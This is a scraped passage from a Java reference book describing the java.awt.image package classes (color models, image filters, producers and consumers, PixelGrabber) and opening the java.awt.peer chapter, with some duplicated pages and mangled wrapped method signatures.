java.awt.datatransfer.UnsupportedFlavorException (JDK 1.1) | Book Index | java.awt.event.ActionListener (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] The java.awt.image Package

Java in a Nutshell

Previous Chapter 21 Next

21. The java.awt.image Package

Contents:
java.awt.image.ColorModel (JDK 1.0)
java.awt.image.CropImageFilter (JDK 1.0)
java.awt.image.DirectColorModel (JDK 1.0)
java.awt.image.FilteredImageSource (JDK 1.0)
java.awt.image.ImageConsumer (JDK 1.0)
java.awt.image.ImageFilter (JDK 1.0)
java.awt.image.ImageObserver (JDK 1.0)
java.awt.image.ImageProducer (JDK 1.0)
java.awt.image.IndexColorModel (JDK 1.0)
java.awt.image.MemoryImageSource (JDK 1.0)
java.awt.image.PixelGrabber (JDK 1.0)
java.awt.image.RGBImageFilter (JDK 1.0)
java.awt.image.ReplicateScaleFilter (JDK 1.1)

The java.awt.image package is, by any standard, a confusing one. The purpose of the package is to support image processing, and the classes in the package provide a powerful infrastructure for that purpose. (see Figure 21.1.) Most of the classes are part of the infrastructure, however, and are not normally used by ordinary applications that have only simple image manipulation requirements.

To understand this package, it is first important to note that the Image class itself is part of the java.awt package, not the java.awt.image package. Furthermore, the java.awt.image classes are not the source of images; they simply serve to manipulate images that come from somewhere else. The Applet.getImage() method is perhaps the most common method for obtaining an image in Java--it downloads the image from a specified URL. In a stand-alone application, the URL.getContent() method can be used to obtain an ImageProducer object, which can then be passed to the Component.createImage() method to obtain an Image object.

Figure 21.1: The java.awt.image package

[Graphic: Figure 21-1]

The ImageProducer interface is one you'll encounter frequently in java.awt.image. It represents an image source. If you've created an Image object with Applet.getImage(), you can obtain the ImageProducer for that Image (which has not been downloaded yet) with Image.getSource(). Conversely, given an ImageProducer object, you can create an Image from it with the createImage() method of any Component (such as an Applet). Once you have an ImageProducer object, you can manipulate it with the other java.awt.image classes.

FilteredImageSource is the most important class for image manipulation. It is itself a type of ImageProducer that, when created, applies a specified ImageFilter object to some other specified ImageProducer object. The FilteredImageSource thus configured can be used as an ImageProducer to display a filtered image. CropImageFilter is a predefined type of ImageFilter that you can use to extract a specified rectangle out of a larger image.

RGBImageFilter is another subclass of ImageFilter that makes it easy to filter the colors of an image. To do so, you must subclass RGBImageFilter and provide the definition of a single simple method that manipulates the image colors. In order to manipulate image colors, you will probably need to be familiar with the ColorModel class and its two subclasses, DirectColorModel and IndexColorModel. An instance of ColorModel or of one of its subclasses converts a pixel value to the red, green, and blue components of the color it represents.

Finally, two other classes in the java.awt.image package are worth noting. MemoryImageSource is a type of ImageProducer that generates an image from an array of bytes or integers in memory. PixelGrabber does the reverse--it captures pixels from an ImageProducer and stores them into an array. You can use these classes separately or together to perform your own custom image manipulation.

21.1 java.awt.image.AreaAveragingScaleFilter (JDK 1.1)

This class implements an ImageFilter that scales an image to a specified pixel size. It uses a scaling algorithm that averages adjacent pixel values when shrinking an image, which produces relatively smooth scaled images. Its superclass, ReplicateScaleFilter, implements a faster, less smooth scaling algorithm.

The methods of this class are ImageConsumer methods intended for communication between the image filter and the FilteredImageSource that uses it. Applications do not usually call these methods directly.

The easiest way to use this filter is to call Image.getScaledInstance(), specifying an appropriate hint constant.

public class AreaAveragingScaleFilter extends ReplicateScaleFilter {
    // Public Constructor
            public AreaAveragingScaleFilter(int width, int height);
    // Public Instance Methods
            public void setHints(int hints);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model, byte[] pixels, int off, int scansize);
            public void setPixels'u'// Overrides ReplicateScaleFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model, int[] pixels, int off, int scansize);
            public void setPixels'u'// Overrides ReplicateScaleFilter
}

Hierarchy:

Object->ImageFilter(ImageConsumer, Cloneable)-> ReplicateScaleFilter->AreaAveragingScaleFilter

Previous | Home | Next
java.awt.event.WindowListener (JDK 1.1) | Book Index | java.awt.image.ColorModel (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.2 java.awt.image.ColorModel (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.2 java.awt.image.ColorModel (JDK 1.0)

This abstract class defines a color model--i.e., a scheme for representing a color. Subclasses implement the methods of this interface to convert their particular representation of a pixel value into the default RGB color model. The static method getRGBDefault() returns a ColorModel object that implements the default color model--RGB plus alpha transparency. You generally never need to call the instance methods of a ColorModel--they are called internally by other image manipulation classes.

See also DirectColorModel and IndexColorModel.

public abstract class ColorModel extends Object {
    // Public Constructor
            public ColorModel(int bits);
    // Protected Instance Variables
            protected int pixel_bits;
    // Class Methods
            public static ColorModel getRGBdefault();
    // Public Instance Methods
            public void finalize();  // Overrides Object
            public abstract int getAlpha(int pixel);
            public abstract int getBlue(int pixel);
            public abstract int getGreen(int pixel);
            public int getPixelSize();
            public int getRGB(int pixel);
            public abstract int getRed(int pixel);
}

Extended By:

DirectColorModel, IndexColorModel

Passed To:

AreaAveragingScaleFilter.setPixels(),
CropImageFilter.setPixels(),
ImageConsumer.setColorModel(),
ImageConsumer.setPixels(),
ImageFilter.setColorModel(),
ImageFilter.setPixels(),
MemoryImageSource(),
MemoryImageSource.newPixels(),
PixelGrabber.setColorModel(),
PixelGrabber.setPixels(),
ReplicateScaleFilter.setPixels(),
RGBImageFilter.setColorModel(),
RGBImageFilter.setPixels(),
RGBImageFilter.substituteColorModel()

Returned By:

ColorModel.getRGBdefault(),
Component.getColorModel(),
ComponentPeer.getColorModel(),
PixelGrabber.getColorModel(),
Toolkit.getColorModel()

Type Of:

RGBImageFilter.newmodel, RGBImageFilter.origmodel

Previous | Home | Next
java.awt.image.AreaAveragingScaleFilter (JDK 1.1) | Book Index | java.awt.image.CropImageFilter (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.3 java.awt.image.CropImageFilter (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.3 java.awt.image.CropImageFilter (JDK 1.0)

This class implements an ImageFilter that crops an image to a specified rectangle. The methods defined by this class are used for communication between the filter and its FilteredImageSource and should never be called directly.

public class CropImageFilter extends ImageFilter {
    // Public Constructor
            public CropImageFilter(int x, int y, int w, int h);
    // Public Instance Methods
            public void setDimensions(int w, int h);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'byte[] pixels, int off, int scansize);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'int[] pixels, int off, int scansize);  // Overrides ImageFilter
            public void setProperties(Hashtable props);  // Overrides ImageFilter
}

Hierarchy:

Object->ImageFilter(ImageConsumer, Cloneable)->CropImageFilter

Previous | Home | Next
java.awt.image.ColorModel (JDK 1.0) | Book Index | java.awt.image.DirectColorModel (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.4 java.awt.image.DirectColorModel (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.4 java.awt.image.DirectColorModel (JDK 1.0)

This class is a ColorModel that extracts the red, green, blue, and alpha values directly from the bits of the pixel. The arguments to the constructor methods specify the number of significant bits in the pixel and the mask used to extract each of the color components from the pixel. The default RGB color model is a DirectColorModel.

You should not need to instantiate any kind of ColorModel object unless you are processing image data that does not use the standard RGB color format.

public class DirectColorModel extends ColorModel {
    // Public Constructors
            public DirectColorModel(int bits, int rmask, int gmask, int bmask);
            public DirectColorModel(int bits, int rmask, int gmask, int bmask, int amask);
    // Public Instance Methods
            public final int getAlpha(int pixel);  // Defines ColorModel
            public final int getAlphaMask();
            public final int getBlue(int pixel);  // Defines ColorModel
            public final int getBlueMask();
            public final int getGreen(int pixel);  // Defines ColorModel
            public final int getGreenMask();
            public final int getRGB(int pixel);  // Overrides ColorModel
            public final int getRed(int pixel);  // Defines ColorModel
            public final int getRedMask();
}

Hierarchy:

Object->ColorModel->DirectColorModel

Previous | Home | Next
java.awt.image.CropImageFilter (JDK 1.0) | Book Index | java.awt.image.FilteredImageSource (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.5 java.awt.image.FilteredImageSource (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.5 java.awt.image.FilteredImageSource (JDK 1.0)

This class is an ImageProducer that produces image data filtered from some other ImageProducer. A FilteredImageSource is created with a specified ImageProducer and a specified ImageFilter. For example, an applet might use the following code to download and crop an image:

Image full_image = getImage(getDocumentBase(), "images/1.gif");
ImageFilter cropper = new CropImageFilter(10, 10, 100, 100);
ImageProducer prod = new FilteredImageSource(full_image.getSource(), cropper);
Image cropped_image = createImage(prod);

The methods of this class are the standard ImageProducer methods that you can invoke to add and remove ImageConsumer objects.

public class FilteredImageSource extends Object implements ImageProducer {
    // Public Constructor
            public FilteredImageSource(ImageProducer orig, ImageFilter imgf);
    // Public Instance Methods
            public synchronized void addConsumer(ImageConsumer ic);  // From ImageProducer
            public synchronized boolean isConsumer(ImageConsumer ic);  // From ImageProducer
            public synchronized void removeConsumer(ImageConsumer ic);  // From ImageProducer
            public void requestTopDownLeftRightResend(ImageConsumer ic);  // From ImageProducer
            public void startProduction(ImageConsumer ic);  // From ImageProducer
}

Previous | Home | Next
java.awt.image.DirectColorModel (JDK 1.0) | Book Index | java.awt.image.ImageConsumer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.6 java.awt.image.ImageConsumer (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.6 java.awt.image.ImageConsumer (JDK 1.0)

This interface defines the methods necessary for a class that consumes image data to communicate with a class that produces image data. The methods defined by this interface should never be called by a program directly; instead, they are invoked by an ImageProducer to pass the image data and other information about the image to the ImageConsumer. The constants defined by this interface are values passed to the setHints() and imageComplete() methods.

Unless you want to do low-level manipulation of image data, you never need to use or implement an ImageConsumer.

public abstract interface ImageConsumer {
    // Constants
            public static final int COMPLETESCANLINES;
            public static final int IMAGEABORTED;
            public static final int IMAGEERROR;
            public static final int RANDOMPIXELORDER;
            public static final int SINGLEFRAME;
            public static final int SINGLEFRAMEDONE;
            public static final int SINGLEPASS;
            public static final int STATICIMAGEDONE;
            public static final int TOPDOWNLEFTRIGHT;
    // Public Instance Methods
            public abstract void imageComplete(int status);
            public abstract void setColorModel(ColorModel model);
            public abstract void setDimensions(int width, int height);
            public abstract void setHints(int hintflags);
            public abstract void setPixels(int x, int y, int w, int h, ColorModel model, byte[] pixels, int off, int scansize);
            public abstract void setPixels(int x, int y, int w, int h, ColorModel model, int[] pixels, int off, int scansize);
            public abstract void setProperties(Hashtable props);
}

Implemented By:

ImageFilter, PixelGrabber

Passed To:

FilteredImageSource.addConsumer(),
FilteredImageSource.isConsumer(),
FilteredImageSource.removeConsumer(),
FilteredImageSource.requestTopDownLeftRightResend(),
FilteredImageSource.startProduction(),
ImageFilter.getFilterInstance(),
ImageProducer.addConsumer(),
ImageProducer.isConsumer(),
ImageProducer.removeConsumer(),
ImageProducer.requestTopDownLeftRightResend(),
ImageProducer.startProduction(),
MemoryImageSource.addConsumer(),
MemoryImageSource.isConsumer(),
MemoryImageSource.removeConsumer(),
MemoryImageSource.requestTopDownLeftRightResend(),
MemoryImageSource.startProduction()

Type Of:

ImageFilter.consumer

Previous | Home | Next
java.awt.image.FilteredImageSource (JDK 1.0) | Book Index | java.awt.image.ImageFilter (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.7 java.awt.image.ImageFilter (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.7 java.awt.image.ImageFilter (JDK 1.0)

This class is used in conjunction with a FilteredImageSource. It accepts image data through the ImageConsumer interface and passes it on to an ImageConsumer specified by the controlling FilteredImageSource. ImageFilter is the superclass of all image filters, and performs no filtering itself. You must subclass it to perform the desired filtering. See CropImageFilter and RGBImageFilter. The ImageFilter methods are the ImageConsumer methods invoked by an ImageProducer. You should not call them directly.

See FilteredImageSource for an example of using an ImageFilter.

public class ImageFilter extends Object implements ImageConsumer, Cloneable {
    // Default Constructor: public ImageFilter()
    // Protected Instance Variables
            protected ImageConsumer consumer;
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public ImageFilter getFilterInstance(ImageConsumer ic);
            public void imageComplete(int status);  // From ImageConsumer
            public void resendTopDownLeftRight(ImageProducer ip);
            public void setColorModel(ColorModel model);  // From ImageConsumer
            public void setDimensions(int width, int height);  // From ImageConsumer
            public void setHints(int hints);  // From ImageConsumer
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'byte[] pixels, int off, int scansize);  // From ImageConsumer
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'int[] pixels, int off, int scansize);  // From ImageConsumer
            public void setProperties(Hashtable props);  // From ImageConsumer
}

Extended By:

CropImageFilter, ReplicateScaleFilter, RGBImageFilter

Passed To:

FilteredImageSource()

Returned By:

ImageFilter.getFilterInstance()

Previous | Home | Next
java.awt.image.ImageConsumer (JDK 1.0) | Book Index | java.awt.image.ImageObserver (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.8 java.awt.image.ImageObserver (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.8 java.awt.image.ImageObserver (JDK 1.0)

This interface defines a method and associated constants used by classes that want to receive information asynchronously about the status of an image. Many methods that query information about an image take an ImageObserver as an argument. If the specified information is not available when requested, it is passed to the ImageObserver when it becomes available. Component implements this interface, and components are the most commonly used image observers.

public abstract interface ImageObserver {
    // Constants
            public static final int ABORT;
            public static final int ALLBITS;
            public static final int ERROR;
            public static final int FRAMEBITS;
            public static final int HEIGHT;
            public static final int PROPERTIES;
            public static final int SOMEBITS;
            public static final int WIDTH;
    // Public Instance Methods
            public abstract boolean imageUpdate(Image img, int infoflags, int x, int y, int width, int height);
}

Implemented By:

Component

Passed To:

Component.checkImage(),
Component.prepareImage(),
ComponentPeer.checkImage(),
ComponentPeer.prepareImage(),
Graphics.drawImage(),
Image.getHeight(),
Image.getProperty(),
Image.getWidth(),
Toolkit.checkImage(),
Toolkit.prepareImage()

Previous | Home | Next
java.awt.image.ImageFilter (JDK 1.0) | Book Index | java.awt.image.ImageProducer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.9 java.awt.image.ImageProducer (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.9 java.awt.image.ImageProducer (JDK 1.0)

This interface defines the methods that any class that produces image data must define to enable communication with ImageConsumer classes. An ImageConsumer registers itself as interested in a producer's image by calling the addConsumer() method.

Most applications never need to use or implement this interface.

public abstract interface ImageProducer {
    // Public Instance Methods
            public abstract void addConsumer(ImageConsumer ic);
            public abstract boolean isConsumer(ImageConsumer ic);
            public abstract void removeConsumer(ImageConsumer ic);
            public abstract void requestTopDownLeftRightResend(ImageConsumer ic);
            public abstract void startProduction(ImageConsumer ic);
}

Implemented By:

FilteredImageSource, MemoryImageSource

Passed To:

Component.createImage(),
ComponentPeer.createImage(),
FilteredImageSource(),
ImageFilter.resendTopDownLeftRight(),
PixelGrabber(),
Toolkit.createImage()

Returned By:

Image.getSource()

Previous | Home | Next
java.awt.image.ImageObserver (JDK 1.0) | Book Index | java.awt.image.IndexColorModel (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.10 java.awt.image.IndexColorModel (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.10 java.awt.image.IndexColorModel (JDK 1.0)

This class is a ColorModel that determines the red, green, blue, and alpha values for a pixel by using the pixel value as an index into colormap arrays. If no array of alpha values is specified, all pixels are considered fully opaque, except for one optionally specified reserved value that is fully transparent. This color model is useful when working with image data that is defined in terms of a color map.

You should not need to instantiate any kind of ColorModel object unless you are processing image data that does not use the standard RGB color format.

public class IndexColorModel extends ColorModel {
    // Public Constructors
            public IndexColorModel(int bits, int size, byte[] r, byte[] g, byte[] b);
            public IndexColorModel(int bits, int size, byte[] r, byte[] g, byte[] b, int trans);
            public IndexColorModel(int bits, int size, byte[] r, byte[] g, byte[] b, byte[] a);
            public IndexColorModel(int bits, int size, byte[] cmap, int start, boolean hasalpha);
            public IndexColorModel(int bits, int size, byte[] cmap, int start, boolean hasalpha, int trans);
    // Public Instance Methods
            public final int getAlpha(int pixel);  // Defines ColorModel
            public final void getAlphas(byte[] a);
            public final int getBlue(int pixel);  // Defines ColorModel
            public final void getBlues(byte[] b);
            public final int getGreen(int pixel);  // Defines ColorModel
            public final void getGreens(byte[] g);
            public final int getMapSize();
            public final int getRGB(int pixel);  // Overrides ColorModel
            public final int getRed(int pixel);  // Defines ColorModel
            public final void getReds(byte[] r);
            public final int getTransparentPixel();
}

Hierarchy:

Object->ColorModel->IndexColorModel

Passed To:

RGBImageFilter.filterIndexColorModel()

Returned By:

RGBImageFilter.filterIndexColorModel()

Previous | Home | Next
java.awt.image.ImageProducer (JDK 1.0) | Book Index | java.awt.image.MemoryImageSource (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.11 java.awt.image.MemoryImageSource (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.11 java.awt.image.MemoryImageSource (JDK 1.0)

This class is an ImageProducer that produces an image from data stored in memory. The various constructors specify image data, color model, array offset, scan line length, and properties in slightly different ways. The instance methods implement the standard ImageProducer interface that allows an ImageConsumer object to register interest in the image.

public class MemoryImageSource extends Object implements ImageProducer {
    // Public Constructors
            public MemoryImageSource(int w, int h, ColorModel cm, byte[] pix, int off, int scan);
            public MemoryImageSource(int w, int h, ColorModel cm, byte[] pix, int off, int scan, Hashtable props);
            public MemoryImageSource(int w, int h, ColorModel cm, int[] pix, int off, int scan);
            public MemoryImageSource(int w, int h, ColorModel cm, int[] pix, int off, int scan, Hashtable props);
            public MemoryImageSource(int w, int h, int[] pix, int off, int scan);
            public MemoryImageSource(int w, int h, int[] pix, int off, int scan, Hashtable props);
    // Public Instance Methods
            public synchronized void addConsumer(ImageConsumer ic);  // From ImageProducer
            public synchronized boolean isConsumer(ImageConsumer ic);  // From ImageProducer
        1.1  public void newPixels();
        1.1  public synchronized void newPixels(int x, int y, int w, int h);
        1.1  public synchronized void newPixels(int x, int y, int w, int h, boolean framenotify);
        1.1  public synchronized void newPixels(byte[] newpix, ColorModel newmodel, int offset, int scansize);
        1.1  public synchronized void newPixels(int[] newpix, ColorModel newmodel, int offset, int scansize);
            public synchronized void removeConsumer(ImageConsumer ic);  // From ImageProducer
            public void requestTopDownLeftRightResend(ImageConsumer ic);  // From ImageProducer
        1.1  public synchronized void setAnimated(boolean animated);
        1.1  public synchronized void setFullBufferUpdates(boolean fullbuffers);
            public void startProduction(ImageConsumer ic);  // From ImageProducer
}

Previous | Home | Next
java.awt.image.IndexColorModel (JDK 1.0) | Book Index | java.awt.image.PixelGrabber (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.12 java.awt.image.PixelGrabber (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.12 java.awt.image.PixelGrabber (JDK 1.0)

This class is an ImageConsumer that extracts a specified rectangular array of pixels (in the default RGB color model) from a specified Image or ImageProducer and stores them into a specified array (using the specified offset into the array and specified scanline size). Use this class when you want to inspect or manipulate the data of an image or some rectangular portion of an image.

The method grabPixels() makes the PixelGrabber start grabbing pixels. status() returns the status of the pixel-grabbing process. The return value uses the same flag value constants as the ImageObserver class does. The remaining methods are the standard ImageConsumer methods and should not be called directly.

public class PixelGrabber extends Object implements ImageConsumer {
    // Public Constructors
            public PixelGrabber(Image img, int x, int y, int w, int h, int[] pix, int off, int scansize);
            public PixelGrabber(ImageProducer ip, int x, int y, int w, int h, int[] pix, int off, int scansize);
        1.1  public PixelGrabber(Image img, int x, int y, int w, int h, boolean forceRGB);
    // Public Instance Methods
        1.1  public synchronized void abortGrabbing();
        1.1  public synchronized ColorModel getColorModel();
        1.1  public synchronized int getHeight();
        1.1  public synchronized Object getPixels();
        1.1  public synchronized int getStatus();
        1.1  public synchronized int getWidth();
            public boolean grabPixels() throws InterruptedException;
            public synchronized boolean grabPixels(long ms) throws InterruptedException;
            public synchronized void imageComplete(int status);  // From ImageConsumer
            public void setColorModel(ColorModel model);  // From ImageConsumer
            public void setDimensions(int width, int height);  // From ImageConsumer
            public void setHints(int hints);  // From ImageConsumer
            public void setPixels(int srcX, int srcY, int srcW, int srcH, ColorModel model,
            public void setPixels'u'byte[] pixels, int srcOff, int srcScan);  // From ImageConsumer
            public void setPixels(int srcX, int srcY, int srcW, int srcH, ColorModel model,
            public void setPixels'u'int[] pixels, int srcOff, int srcScan);  // From ImageConsumer
            public void setProperties(Hashtable props);  // From ImageConsumer
        1.1  public synchronized void startGrabbing();
            public synchronized int status();
}

Previous | Home | Next
java.awt.image.MemoryImageSource (JDK 1.0) | Book Index | java.awt.image.RGBImageFilter (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.13 java.awt.image.RGBImageFilter (JDK 1.0)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.13 java.awt.image.RGBImageFilter (JDK 1.0)

This abstract class is an ImageFilter that provides an easy way to implement filters that modify the colors of an image. To create a color filter that modifies the colors of an image, you should subclass RGBImageFilter and provide a definition of filterRGB() that converts the input pixel value (in the default RGB color model) to an output value. If the conversion does not depend on the location of the pixel, set the canFilterIndexColorModel variable to true so that the RGBImageFilter can save time by filtering the colormap of an image that uses an IndexColorModel instead of filtering each pixel of the image.

public abstract class RGBImageFilter extends ImageFilter {
    // Default Constructor: public RGBImageFilter()
    // Protected Instance Variables
            protected boolean canFilterIndexColorModel;
            protected ColorModel newmodel;
            protected ColorModel origmodel;
    // Public Instance Methods
            public IndexColorModel filterIndexColorModel(IndexColorModel icm);
            public abstract int filterRGB(int x, int y, int rgb);
            public void filterRGBPixels(int x, int y, int w, int h, int[] pixels, int off, int scansize);
            public void setColorModel(ColorModel model);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'byte[] pixels, int off, int scansize);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'int[] pixels, int off, int scansize);  // Overrides ImageFilter
            public void substituteColorModel(ColorModel oldcm, ColorModel newcm);
}

Hierarchy:

Object->ImageFilter(ImageConsumer, Cloneable)->RGBImageFilter

Previous | Home | Next
java.awt.image.PixelGrabber (JDK 1.0) | Book Index | java.awt.image.ReplicateScaleFilter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] 21.14 java.awt.image.ReplicateScaleFilter (JDK 1.1)

Java in a Nutshell

Previous Chapter 21
The java.awt.image Package 		Next

21.14 java.awt.image.ReplicateScaleFilter (JDK 1.1)

This class implements an ImageFilter that scales an image to a specified pixel size. It uses a very simple scaling algorithm in which rows and columns of image pixels are duplicated or omitted as necessary to achieve the desired size. See AreaAveragingScaleFilter for a scaling filter that results in smoother images.

The methods of this class are ImageConsumer methods used for communication between the image filter and the FilteredImageSource that uses it. Applications do not usually call these methods directly.

The easiest way to use this filter is to call Image.getScaledInstance(), specifying an appropriate hint constant.

public class ReplicateScaleFilter extends ImageFilter {
    // Public Constructor
            public ReplicateScaleFilter(int width, int height);
    // Protected Instance Variables
            protected int destHeight;
            protected int destWidth;
            protected Object outpixbuf;
            protected int srcHeight;
            protected int srcWidth;
            protected int[] srccols;
            protected int[] srcrows;
    // Public Instance Methods
            public void setDimensions(int w, int h);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'byte[] pixels, int off, int scansize);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model,
            public void setPixels'u'int[] pixels, int off, int scansize);  // Overrides ImageFilter
            public void setProperties(Hashtable props);  // Overrides ImageFilter
}

Hierarchy:

Object->ImageFilter(ImageConsumer, Cloneable)->ReplicateScaleFilter

Extended By:

AreaAveragingScaleFilter

Previous | Home | Next
java.awt.image.RGBImageFilter (JDK 1.0) | Book Index | The java.awt.peer Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] The java.awt.image Package

Java in a Nutshell

Previous Chapter 21 Next

21. The java.awt.image Package

Contents:

Select a new section and then

The java.awt.image package is, by any standard, a confusing one. The purpose of the package is to support image processing, and the classes in the package provide a powerful infrastructure for that purpose. (see Figure 21.1.) Most of the classes are part of the infrastructure, however, and are not normally used by ordinary applications that have only simple image manipulation requirements.

To understand this package, it is first important to note that the Image class itself is part of the java.awt package, not the java.awt.image package. Furthermore, the java.awt.image classes are not the source of images; they simply serve to manipulate images that come from somewhere else. The Applet.getImage() method is perhaps the most common method for obtaining an image in Java--it downloads the image from a specified URL. In a stand-alone application, the URL.getContent() method can be used to obtain an ImageProducer object, which can then be passed to the Component.createImage() method to obtain an Image object.

Figure 21.1: The java.awt.image package

[Graphic: Figure 21-1]

The ImageProducer interface is one you'll encounter frequently in java.awt.image. It represents an image source. If you've created an Image object with Applet.getImage(), you can obtain the ImageProducer for that Image (which has not been downloaded yet) with Image.getSource(). Conversely, given an ImageProducer object, you can create an Image from it with the createImage() method of any Component (such as an Applet). Once you have an ImageProducer object, you can manipulate it with the other java.awt.image classes.

FilteredImageSource is the most important class for image manipulation. It is itself a type of ImageProducer that, when created, applies a specified ImageFilter object to some other specified ImageProducer object. The FilteredImageSource thus configured can be used as an ImageProducer to display a filtered image. CropImageFilter is a predefined type of ImageFilter that you can use to extract a specified rectangle out of a larger image.

RGBImageFilter is another subclass of ImageFilter that makes it easy to filter the colors of an image. To do so, you must subclass RGBImageFilter and provide the definition of a single simple method that manipulates the image colors. In order to manipulate image colors, you will probably need to be familiar with the ColorModel class and its two subclasses, DirectColorModel and IndexColorModel. An instance of ColorModel or of one of its subclasses converts a pixel value to the red, green, and blue components of the color it represents.

Finally, two other classes in the java.awt.image package are worth noting. MemoryImageSource is a type of ImageProducer that generates an image from an array of bytes or integers in memory. PixelGrabber does the reverse--it captures pixels from an ImageProducer and stores them into an array. You can use these classes separately or together to perform your own custom image manipulation.

21.1 java.awt.image.AreaAveragingScaleFilter (JDK 1.1)

This class implements an ImageFilter that scales an image to a specified pixel size. It uses a scaling algorithm that averages adjacent pixel values when shrinking an image, which produces relatively smooth scaled images. Its superclass, ReplicateScaleFilter, implements a faster, less smooth scaling algorithm.

The methods of this class are ImageConsumer methods intended for communication between the image filter and the FilteredImageSource that uses it. Applications do not usually call these methods directly.

The easiest way to use this filter is to call Image.getScaledInstance(), specifying an appropriate hint constant.

public class AreaAveragingScaleFilter extends ReplicateScaleFilter {
    // Public Constructor
            public AreaAveragingScaleFilter(int width, int height);
    // Public Instance Methods
            public void setHints(int hints);  // Overrides ImageFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model, byte[] pixels, int off, int scansize);
            public void setPixels'u'// Overrides ReplicateScaleFilter
            public void setPixels(int x, int y, int w, int h, ColorModel model, int[] pixels, int off, int scansize);
            public void setPixels'u'// Overrides ReplicateScaleFilter
}

Hierarchy:

Object->ImageFilter(ImageConsumer, Cloneable)-> ReplicateScaleFilter->AreaAveragingScaleFilter

Previous | Home | Next
java.awt.event.WindowListener (JDK 1.1) | Book Index | java.awt.image.ColorModel (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] The java.awt.peer Package

Java in a Nutshell

Previous Chapter 22 Next

22. The java.awt.peer Package

Contents:
java.awt.peer.CanvasPeer (JDK 1.0)
java.awt.peer.CheckboxMenuItemPeer (JDK 1.0)
java.awt.peer.CheckboxPeer (JDK 1.0)
java.awt.peer.ChoicePeer (JDK 1.0)
java.awt.peer.ComponentPeer (JDK 1.0)
java.awt.peer.ContainerPeer (JDK 1.0)
java.awt.peer.DialogPeer (JDK 1.0)
java.awt.peer.FileDialogPeer (JDK 1.0)
java.awt.peer.FontPeer (JDK 1.1)
java.awt.peer.FramePeer (JDK 1.0)
java.awt.peer.LabelPeer (JDK 1.0)
java.awt.peer.LightweightPeer (JDK 1.1)
java.awt.peer.ListPeer (JDK 1.0)
java.awt.peer.MenuBarPeer (JDK 1.0)
java.awt.peer.MenuComponentPeer (JDK 1.0)
java.awt.peer.MenuItemPeer (JDK 1.0)
java.awt.peer.MenuPeer (JDK 1.0)
java.awt.peer.PanelPeer (JDK 1.0)
java.awt.peer.PopupMenuPeer (JDK 1.1)
java.awt.peer.ScrollPanePeer (JDK 1.1)
java.awt.peer.ScrollbarPeer (JDK 1.0)
java.awt.peer.TextAreaPeer (JDK 1.0)
java.awt.peer.TextComponentPeer (JDK 1.0)
java.awt.peer.TextFieldPeer (JDK 1.0)
java.awt.peer.WindowPeer (JDK 1.0)

The java.awt.peer package consists entirely of interface definitions. The hierarchy of these interfaces is shown in Figure 22.1. Each java.awt.peer interface corresponds to one of the java.awt Component or MenuComponent classes, and as you can see from the figure, the hierarchy of this package is identical to the hierarchy of those portions of the java.awt package.

